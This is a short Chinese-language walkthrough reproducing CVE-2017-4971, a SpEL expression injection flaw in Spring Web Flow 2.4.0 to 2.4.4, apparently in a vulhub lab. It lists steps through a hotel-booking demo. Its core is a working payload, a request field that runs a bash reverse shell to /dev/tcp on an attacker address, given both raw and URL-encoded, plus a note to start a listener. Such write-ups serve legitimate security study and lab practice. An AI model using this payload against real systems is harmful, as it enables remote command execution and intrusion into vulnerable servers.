一、Spring WebFlow简介
Spring WebFlow
是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
二、漏洞复现
影响版本:Spring Web Flow 2.4.0 到 2.4.4
代码分析可以查看创宇对漏洞的解析:https://paper.seebug.org/322/
访问http://your-ip:8080/login,用页面左边给出的任意一个账号/密码登录系统
访问id为1的酒店:http://your-ip:8080/hotels/1,点击预订按钮Book Hotel
填写相关信息后点击Process
点击确认Confirm抓包
请求包中添加新字段:_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/U-ip/port 0>&1")).start()=vulhub
对bash -i >& /dev/tcp/10.211.55.3/6666 0>&1
进行URL编码:bash+-i+>%26+/dev/tcp/10.211.55.3/6666+0>%261
监听端执行监听
参考链接:
https://vulhub.org/#/environments/spring/CVE-2017-4971/
https://paper.seebug.org/322/